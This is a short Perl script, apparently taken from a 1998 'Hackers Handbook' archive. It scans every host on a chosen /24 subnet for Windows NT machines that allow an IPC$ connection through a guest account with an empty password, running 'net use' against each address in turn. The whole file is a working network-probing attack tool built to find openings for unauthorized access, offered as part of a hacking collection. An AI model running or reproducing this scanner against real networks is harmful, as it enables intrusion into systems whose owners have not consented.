Hackers Handbook - Millenium Edition/Hackers Handbook.iso/files/nt/test4gst.perl

Text File | 1998-10-14 | 670 b | 26 lines

# TEST FOR GUEST
# Created by Mnemonix 30th April 1998
#
# This script will test for the existence of an enabled
# Guest account with with no password on a range of
# addresses eg 123.123.123.1 to 123.123.123.256


system ('cls');
print("Test for Guest - Mnemonix 1998\n\n");
print("Enter the first three bytes of the subnet\neg 123.123.123 : ");
$netaddress = <STDIN>;
chop($netaddress);
print("\n\n");
$host = 1;
$password = '""';
$name = guest;

while ($host < 256)
{
    print ("net use \\\\$netaddress.$host\\ipc\$ $password /user:$name");
    print ("\n\n");
    system ("net use \\\\$netaddress.$host\\ipc\$ $password /user:$name");
    $host++;
}